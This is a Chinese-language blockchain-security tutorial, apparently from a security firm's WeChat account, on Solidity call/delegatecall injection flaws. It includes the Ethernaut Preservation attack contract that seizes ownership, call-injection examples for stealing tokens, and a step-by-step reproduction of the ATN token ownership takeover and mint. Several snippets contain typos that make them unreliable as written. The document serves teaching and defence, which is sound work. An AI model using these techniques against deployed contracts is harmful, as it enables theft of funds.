0x01. 漏洞介绍
代码执行漏洞又名跨合约调用漏洞,是由call系列函数引起的恶意构造数据调用,在智能合约的开发过程中,合约的相互调用是经常发生的。开发者为了实现某些功能,会调用另一个合约的函数,但是在实际开发过程中,开发者为了兼顾代码的灵活性,往往会使用任意 public 属性的函数,合约调用中的调用地址和调用的字符序列都由用户传入,那么完全可以调用任意地址的函数。
0x02. call 系列函数介绍
首先学习一下 Solidity 中 合约 的相互调用,Solidity中合约之间互相调用的方式主要有如下两种。
-
使用封装的方式,将合约地址封装为一个合约对象来调用其上的函数;
-
直接使用函数来调用其他合约。
由于多数代码执行漏洞都是由第二种方式引起的,这里第一种我们就不过多介绍,主要介绍第二种使用函数直接调用的方式。
Solidity提供了 call()、delegatecall() 、callcode() 三个函数来实现合约之间的调用及交互。正因为这些灵活调用的存在,这些函数被合约开发者滥用,甚至肆无忌地提供任意调用的功能。导致了各种安全漏洞及风险。
以下是 Solidity 中 call()、delegatecall()、callcode() 函数调用模型:
<address>.call(...) returns (bool)
<address>.callcode(...) returns (bool)
<address>.delegatecall(...) returns (bool)
我们再来看一下这三个函数的区别
• call():最常用的调用方式,call 的外部调用上下文是被调用者合约,也就是指执行环境为被调用者的运行环境,调用后内置变量 msg 的值会修改为调用者。
• delegatecall():delegatecall 的外部调用上下文是调用者合约,也就是指执行环境为调用者的运行环境,调用后内置变量 msg 的值不会修改为调用者。
• callcode():call 的外部调用上下文是调用者合约,也就是指执行环境为调用者的运行环境,调用后内置变量 msg 的值会修改为调用者。
除此之外,由于这三种外部调用函数的相似性,其区别容易混淆,导致滥用,可能造成的安全问题包括:
• 攻击者可直接窃取存在漏洞的合约中的货币。
• 攻击者可以将自己设置为合约拥有者。
0x03. Delegatecall 函数调用注入攻击
Delegatecall 函数漏洞分析
我们知道,在delegatecall()函数中,delegatecall()的外部调用上下文是调用者合约,也就是说,执行环境是调用者的执行环境,内置变量 msg 的值在调用后不会被修改为调用者。
正常使用 delegatecall 来调用指定合约的指定函数时,应该是将函数选择器所使用的函数 id 固定以锁定要调用的函数,不过事实上为了灵活性,也有一部分开发人员会使用 msg.data 直接作为参数,比如下面个合约:
contract Example1{
function execute(address _contract) public {
_contract.delegatecall(msg.data);
}
}
上面这种写法一般不会遇见。当然其参数不一定得是 msg.data,哪怕是写死了调用函数名和参数,我们也一样可以创建一个攻击合约来满足条件,这样的危害还是非常大的。
然后我们再来看看较为复杂的情况:
pragma solidity ^0.4.0;
contract Calltest {
address public c;
address public b;
function test() public returns (address a){
a=address(this);
b=a;
}
}
contract Compare {
address public b;
address public c;
address testaddress = address(new Calltest());
function withdelegatecall(){
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}
看起来似乎没什么问题,但是两个合约的变量 b 与变量 c 的位置不同,我们来看一下执行的结果。
未调用时的值:
调用后的值:
看起来似乎有点出乎意料,第二个合约被更改的变量不是 b 而是 c,这与我们调用的代码不一样 ,然而事实上这里涉及到了使用 delegatecall 时的访存机制,可以证明 delegatecall() 函数存在变量覆盖的漏洞。
Delegatecall 函数漏洞代码示例
ethernaut 就有一道利用这种特性的题目,大致代码如下:
pragma solidity ^0.4.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint public storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address library1,address library2) public {
timeZone1Library = library1;
timeZone2Library = library2;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint public storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
这里有两个 delegatecall 的调用,目标分别为不同的 libraryContract 合约的 setTime() 函数,可以看出本来的意思是想分别用这两个函数来更新本合约的 storedTime ,当然,这里为了方便就拿一个 library 合约直接代替了,通过上面得到的认知,我们发现这里更新的 storedTime 在 library 合约里也是 storage 变量,这意味着我们可以借用它来覆盖主合约里的对应位置的变量,这里我们可以覆盖的即 timeZone1Library 变量,再观察一下我们不难发现操作了它以后我们即相对于操纵了被调用合约的地址,这样我们就可以自己创建一个合约并执行任意的函数了。
接下来我们简单测试一下,首先部署两个 libraryContract 合约,将其地址填入我们的主合约,然后部署主合约准备测试,用于攻击的合约如下:
contract Attack {
uint padding1;
uint padding2;
address public owner;
function setTime(uint _time) public {
owner = tx.origin;
}
}
因为我们最终要控制的目标即主合约的 owner 对应的存储位为3,所以我们要在前面放两个用于占位的变量,接下来将 Attack 合约的地址覆盖到主合约的 timeZone1Library ,直接把其作为参数传递给 setSecondTime 函数即可。
可以看到此时 timeZone1Library 已经被修改为我们的攻击合约,此时再使用攻击者账号调用 setFirstTime 函数即可成功更改 owner 变量。
0x04. call 函数调用注入攻击
call漏洞基础知识
我们先看看 call 相关漏洞所涉及的基础知识。call() 函数对某个合约或者本地合约的某个方法的调用方式,大致有如下两种调用方式。
// 1
call(方法选择器,arg1,arg2, ….)
// 2
cal1(bytes)
可以通过传递参数的方式,将方法选择器、参数进行传递,也可以直接传人一个字节数组(当然,要自己去构造 msg.data )。call() 函数注入漏洞,顾名思义,就是外界可以直接控制合约中的 call() 函数调用的参数。按照注入位置分析,有如下三个场景。
• 参数列表可控
• 方法选择器可控
• Bytes 可控
bytes 注入
存在问题的代码片段:
function approveAndCallcode(address _spender, uint256 _value, bytes _extraData) public {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
// Call the contract code
if(!_spender.call(_extraData)) { revert(); }
return true;
}
在合约代码中,有一个 approveAndCallcode 方法,这个方法允许调用 _spender 合约的某些方法或者传递一些数据,通过引入 _spender.call() 来完成这个功能。
如果 _spender 可控,就可以指定 _spender 为合约自身地址,然后就可以调用一些非所有者可以调用的方法,比如我们使用合约的身份去调用 transfer 郴数,transfer 函数的代码如下:
function transfer (address _to, uint256 _value) public transferAllowed(msg.sender) returns (bool) {
if (balances(msg.sender] >= _value && balances[_to] + _value > balances([_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}else { return false; }
}
注意漏洞可能出现的地方:我们指定 spender 为合约自身地址,然后自己构造 extraData,比如把 transfer 的 _to 参数指定为我们自己的账户地址。这样其实就可以直接把合约账户中的代币全部转到自己的账户中,因为通过 call 注入,执行环境在被调用者 transfer 方法中,在 transfer 看来,msg.sender 其实就是调用者合约自己的地址,从而让黑客盗取该合约的以太币。
方法选择器注入
存在问题的代码段:
contract sample2 {
...
function logAndCall(address _to, uint value, bytes data, string _fallback){
...
assert(_to.call(bytes4(keccak256(_fallback)), msg.sender, _value, _data));
...
}
...
}
在这个合约中,有一个 logAndcail() 方法。我们对 _fallback 参数可控,也就是说,我们可以指定调用 _to 地址的任何方法。这个合约中存在 msg.sender 、 _value 、_data 三个参数,它们的类型分别为 Address 、 uint256 和 Bytess 。那么,我们是不是只能调用这三个类型的方法呢?答案是否定的。
这里就要提到 EVM 在处理 calldata 时的一个特性。EVM 在获取参数的时候,不会对参数的个数进行校验,因此,只要找到了方法需要的参数,其他参数就会被忽略,不会产生任何影响;攻击者经常利用这一点进行攻击。
假设我们用上面的方式调用下面这个 approve 函数,这里的 approve 方法有两个参数,而且类型为 address 和 uint256,所以是可以调用成功的。这样就可以将合约账户中的代币授权给我们自己的账户了。
function approve(address _spender, uint256 _value) public returns (bool success) {
allowancemsg.sender = _value;
Approval(msg.sender, _spender, _value);
return true;s
}
call 函数漏洞代码示例
2018 年 5 月 11 日,ATN 技术人员收到异常监控报告,显示 ATN Token 的供应量出现异常。技术人员迅速介入后发现,Token 合约因存在漏洞而受到了攻击。
ATN Token 合约使用 ERC-223,它是传统 ERC-20 Token 合约的扩展,并在其中使用了 DS-AUTH 库。单独使用 ERC-223 或 DS-AUTH 库没有问题,但 ERC-223 方法和 DS-AUTH 库存在混合漏洞。如果两者结合使用,攻击者可以通过回调函数调用setOwner()方法。获得高级权限。
以下是该漏洞合约,代码过长就只附上链接了。
https://etherscan.io/address/0x461733c17b0755ca5649b6db08b3e213fcf22546#code
我们使用 Remix IDE(remix.ethereum.org) 部署该漏洞合约从而进行漏洞复现该合约执行的计算较多,默认的 Gas Limt 可能会部署失败。因此,我们在原本的的值后加一个0,再进行部署。
首先来看 transferFrom() 函数中的核心漏洞代码片段。
通过观察 transferFrom() 函数的参数可以发现,这些参数都是可控的,这意味着我们在使用 transferFrom() 函数时,此合约可以调用其他合约的任意函数,并且参数在一定程度上可控。
因为 _to 参数也是可控的,代码中也没有对 _to 参数做任何限制,仅仅判断了是否为智能合约,所以,可以控制 _to 为该合约本身,并调用该合约本身的任何 public 函数;
我们再看一下该合约 setOwner() 函数,修改合约所有者;
可以发现,setOwner() 只接收了一个 address 参数。
再来看一下该函数的函数修饰符 auth;
我们发现当调用者是合约自身的时候,都可以通过鉴权,可以直接使用setOwner() 修改合约所有者,然后我们可以通过 transferFrom() 函数构造函数调用直接调用setOwner修改合约所有者进行攻击;调用带有 _custom_fallback 参数的 transferFrom() 函数,填写相应的参数信息,如下图所示,然后执行。
_from 参数应为攻击者的合约地址
_to 参数应为当前合约地址
_amount 参数应为0
_data 参数应为 0x000000
_custom_fallback参数应为: setOwner()函数(即 setOwner(address) )。
执行完成后可以发现成功执行,没有发现任何异常。从理论上来说,现在合约的所有者已经是攻击者账户,执行 owner() 函数检验一下,我们发现owner权限以及变为攻击者账户了,如下图
接下来就可以利用owner权限执行任何已经实现的特权功能了(例如执行 mint() 函数给自己发币,如下图)
至此,发币成功。
0x05. 漏洞预防
从上面的分析中不难发现,跨合约调用漏洞的关键在于 call() 、delegatecall() 、callcode() 三个函数。虽然这三个函数为合约间调用提供了很大的便利,但我们在分析其传参和调用实现机制时也会发现,实际上,这三个函数在实现方便的同时本身就存在安全隐患。
对于 delegatecall 使用不当的防范建议
delegatecall 的问题成因主要是两方面,一方面是进行调用时发送的 data 或被调用的合约地址可控,这样可能会导致恶意函数执行,造成很大的危害,对于这种漏洞,还是需要开发人员按照安全的编写方法正确实现 delegatecall ,避免遭到恶意利用;另一方面是在这种较复杂的上下文环境下涉及 storage 变量时可能造成的变量覆盖,对于这种漏洞,避免直接使用 delegatecall 来进行调用,应该使用 library 来实现代码的复用,这也是 Solidity 里比较安全的代码复用方式。
对于 call 注入的防范建议
对于敏感操作,应该检查 sender 是否为 this;使用 private 和 intetnal 限制访问,如下所示:
modifier banContractSelf {
if (msg.sender == address(this)) {
throw;
}
_;
}
function approve (address _to, uint256 _value) banContractSelf {
}
项目安全建议
合约上线部署前应先通过第三方专业安全审计机构进行合约安全审计。
?扫描关注零时科技服务号?
?区块链安全威胁情报实时掌握?
出品 | 零时科技安全团队
·END·
关注
往期内容回顾
区块链安全100问 | 第四篇:保护数字钱包安全,防止资产被盗
区块链安全100问 | 第五篇:黑客通过这些方法盗取数字资产,看看你是否中招?
零时科技 | 被盗6.1亿美金,Poly Network 被攻击复盘分析
原文始发于微信公众号(零时科技):零时科技|Solidity 基础漏洞 – 代码执行漏洞